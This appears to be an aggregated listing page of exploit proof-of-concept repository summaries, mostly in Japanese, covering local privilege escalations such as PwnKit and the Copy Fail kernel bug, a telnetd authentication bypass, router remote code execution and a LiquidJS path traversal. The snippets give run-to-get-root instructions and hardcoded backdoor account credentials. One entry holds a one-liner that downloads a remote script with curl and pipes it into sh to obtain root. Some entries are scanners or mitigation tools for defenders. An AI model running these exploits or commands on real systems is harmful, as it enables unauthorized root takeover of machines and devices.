POC-CVE-2021-4034

CVE-2021-4034 この脆弱性はリモートから悪用できるものではなく、それ自体で任意のコード実行を可能にするものではありませんが、脆弱なホストにすでに足場を築いた攻撃者が権限を昇格させ、その能力を達成するために利用される可能性があります。...

CVE-2026-24061-Scanner

CVE-2026-24061 Scanner: GNU Inetutils Telnet Exploit Checker CVE-2026-24061 Scanner は、GNU Inetutils パッケージの telnetd サービスにおける 認証バイパス の脆弱性に対する検出（ reconnaissance ）と能動的な検証（ active exploitation check ）を行う Bash Script ベースのツールです。 この脆弱性により、攻撃者は環境変数 USER を介した Argument Injection を利用して、パスワードなしで root...

CVE-2026-31431-rs

CVE-2026-31431 PoC（copyfail） 構造 root@kitploit: src/ ├── main.rs エクスプロイト: AFALG + splice で /bin/su を上書き └── bin/ └── payload.rs ペイロード ランタイム依存関係がゼロの自己完結型 nostd バイナリ: poc-rs: 4.1 KB（ペイロードは includebytes! で埋め込み） payload: 1.7 KB ビルド Rust 1.85+ が必要: root@kitploit: cargo build --release --bin payload car...

CVE-2026-1459-POC

CVE-2026-1459-POC CVE-2026-1459のPOCです。このペイロードはrootのSSHパスワードを変更します。 有効な管理者資格情報が必要です。rootパスワードを一時的に変更し、再起動するとrootパスワードはリセットされます。 VMG3625-T50Bおよび類似モデルで動作し、ファームウェアV5.50ABPM.9.7C0以前で動作が保証されています。...

berdav-CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトのワンデイ make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。 実際の作者による元のアドバイザリはこちらです。 PoC エクスプロイトが成功すると、すぐにrootシェルが取得できます: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034...

PwnKit-Vulnerability_CVE-2021-4034

PwnKit 脆弱性 - ローカル権限昇格 タイトル: PwnKit 脆弱性 - ローカル権限昇格 対象: Linux カテゴリ: 実行 クレジット: Qualys Research Team 説明 Qualys Research Team は、polkit の pkexec におけるメモリ破壊の脆弱性を発見しました。pkexec は、主要なすべての Linux ディストリビューションにデフォルトでインストールされている SUID-root プログラムです。この簡単に悪用可能な脆弱性により、権限のないユーザーは、デフォルト設定の脆弱なホスト上でこの脆弱性を悪用することで、完全な root...

CVE-2026-16348

TP-Link Archer BE800 V1 — 認証済みRCE（VPNキーインジェクション経由） CVE: CVE-2026-16348 CVSS: 8.5（高） — CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L 必要な認証: 有効な管理者資格情報 ネットワーク位置: ネットワーク（管理インターフェースが公開されている場合はリモート） 概要 vpn.lua のVPNサーバー管理エンドポイントは、ユーザーが指定したサーバーの key フィールドを、executestring.format"vpncore....

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation CVE-2021-4034をベースに強化されており、Exploitを実行するとデフォルトでユーザー名rooter、パスワードHello@Worldが追加され、rooterユーザーはsudo権限を持つことになります。 Refer to CVE-2021-4034, executing Exploit will add username rooter, password Hello@World by default, and The...

CVE-2021-4034-new

CVE-2021-4034 polkit 権限昇格エクスプロイトのワンデイ make を実行し、./cve-2021-4034 を実行するだけで、root シェルを手に入れられます。 実際の作者による元のアドバイザリはこちらです。...

modrosnlr5

🧬 modrosnlr5 – LinuxカーネルLPE PoC（CVE-2026-31431） LinuxシステムにおけるCVE-2026-31431 脆弱性の悪用を検証するために設計された概念実証ツール。 このエクスプロイトは、カーネルのAFALGソケットインターフェースを利用してペイロードを注入し、権限のないユーザーセッションからroot 権限を持つシェルを取得します。 ⚖️ 倫理的かつ管理された使用: このコードは、研究、教育、および許可された監査の目的にのみ配布されます。明示的な許可がある環境でのみ実行してください。 ✳️ 主な機能 権限の事前検査:...

MitigationToolkit-ROSN-LR5-Full

🧬 ROSN-LR5 – カーネルLPE PoC＆緩和ツールキット（CVE-2026-31431） LinuxシステムにおけるCVE-2026-31431 の脆弱性に対する攻撃的・防御的ツールです。 AFALGに基づく攻撃ベクトルを確認・一時的に緩和 するユーティリティと、ローカル権限昇格（LPE）の概念実証を組み合わせています。 ⚖️ 倫理的な使用のみ : 本ソフトウェアは教育およびセキュリティ監査の目的でのみ配布されています。自己所有のシステム、または明示的な許可を得たシステムでのみ実行してください。著者は不正使用について一切の責任を負いません。 ✳️ 機能 🔥 LPEエクスプロイト...

ez-pwnkit

ez-pwnkit CVE-2021-4034 PwnKit エクスプロイトの純Go実装です。 このエクスプロイトは syscall.ForkExec を使用して、メインプログラムの終了後も生存し続けます。 インストール root@kitploit: git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make このエクスプロイトは悪意のある共有ライブラリに依存しているため、 payload.go から PWN.so ファイルが生成され、結果として得られる exploit 実行ファイルに埋め込まれます。...

CVE-2026-24061

CVE-2026-24061: telnetd 認証バイパス脆弱性 CVE-2026-24061 は、telnetd における認証バイパス脆弱性であり、攻撃者が特定の環境変数の組み合わせを通じて本人確認を回避し、直接 root 権限のシェルを取得できるものです。 telnetd の認証ロジックには欠陥があります。-a オプション（自動ログイン）と特定の USER 環境変数（例: -f root）を組み合わせて使用すると、通常の認証プロセスをバイパスし、root ユーザーとして直接ログインすることが可能になります。 はじめに GNU InetUtils は、GNU...

CVE-2021-3560

CVE-2021-3560 Polkit 即時 Root 漏洞利用 您可以在存在 Polkit CVE-2021-3560 漏洞的機器上輸入以下命令，一鍵獲取 root 權限： sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" 或者您可以下載 .sh 檔案或直接複製貼上。執行後即可即時取得 root 權限。建立的使用者名稱為 'n3on'，無密碼，腳本隨後會切換至 root。 使用方法： git clone...

CVE-2026-24061

CVE-2026-24061 - Telnet 引数インジェクション GNU inetutils telnetd の CVE-2026-24061 脆弱性を検出するための Nuclei テンプレート。認証なしで root アクセスを取得することが可能です。 📋 脆弱性の説明 CVE-2026-24061 は、GNU inetutils telnetd における深刻な 引数インジェクション 脆弱性であり、攻撃者がパスワードを知らなくても root shell を取得できるようにします。 仕組みは？ 1. 問題の根本 : 2015年、telnetd に動的パラメータ %U...

CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトの一日 単に ./blasty を実行して、ルートシェルをお楽しみください。 実際の作者による元の通知は - こちら インストール エクスプロイトが成功すると、すぐにルートシェルが得られます: root@kitploit: user@tecnokarita-/Descargas $ git clone https://github.com/T3cnokarita/CVE-2021-4034.git user@tecnokarita-/Descargas/CVE-2021-4034 $ gcc -o blasty...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Copy Fail（CVE-2026-31431）のPoCとペイロードの例です。 Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions 影響を受けるLinuxディストリビューション Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el1...

CVE-2026-30952-PoC

CVE-2026-30952: LiquidJS パストラバーサル PoC このリポジトリには、liquidjs ライブラリ（バージョン 10.25.0 未満）で発見された高深刻度のパストラバーサル脆弱性である CVE-2026-30952 の Proof of Concept（PoC）が含まれています。 著者および研究者: Moriel Harush Maor Caplan 説明 この脆弱性により、layout、render、include タグが絶対パスとともに使用された場合に、任意のファイルアクセスが可能になります。これは root...

Ashwesker-CVE-2026-24061

🚨 CVE-2026-24061 : GNU InetUtils telnetd における重大なリモート認証バイパス 🧠 概要 CVE-2026-24061 は、GNU InetUtils の telnetd サービスに影響を与える重大な脆弱性です。 システムのログインプロセスに渡される環境変数の不適切な処理を悪用することで、認証されていないリモート攻撃者が root としてログインできるようになります。 影響: システムの完全な乗っ取り。 深刻度: 🔥 Critical CVSS 9.8 🎯 影響を受けるバージョン GNU InetUtils telnetd バージョン: 1.9.3 ...

GNU-Inetutils-telnet-CVE-2026-24061-

CVE-2026-24061 GNU Inetutils Telnetd 認証バイパス脆弱性検出ツール 📋 プロジェクト概要 これはGNU Inetutils Telnetdの認証バイパス脆弱性 CVE-2026-24061 を検出するための高度な検出ツールです。この脆弱性のCVSSスコアは9.8で、攻撃者は環境変数インジェクションを通じて認証なしでroot権限を取得できます。 🚨 脆弱性情報 CVE番号 : CVE-2026-24061 CVSSスコア : 9.8 深刻 影響範囲 : GNU Inetutils 1.9.3 - 2.7 脆弱性タイプ : 認証バイパス 技術原理 : RF...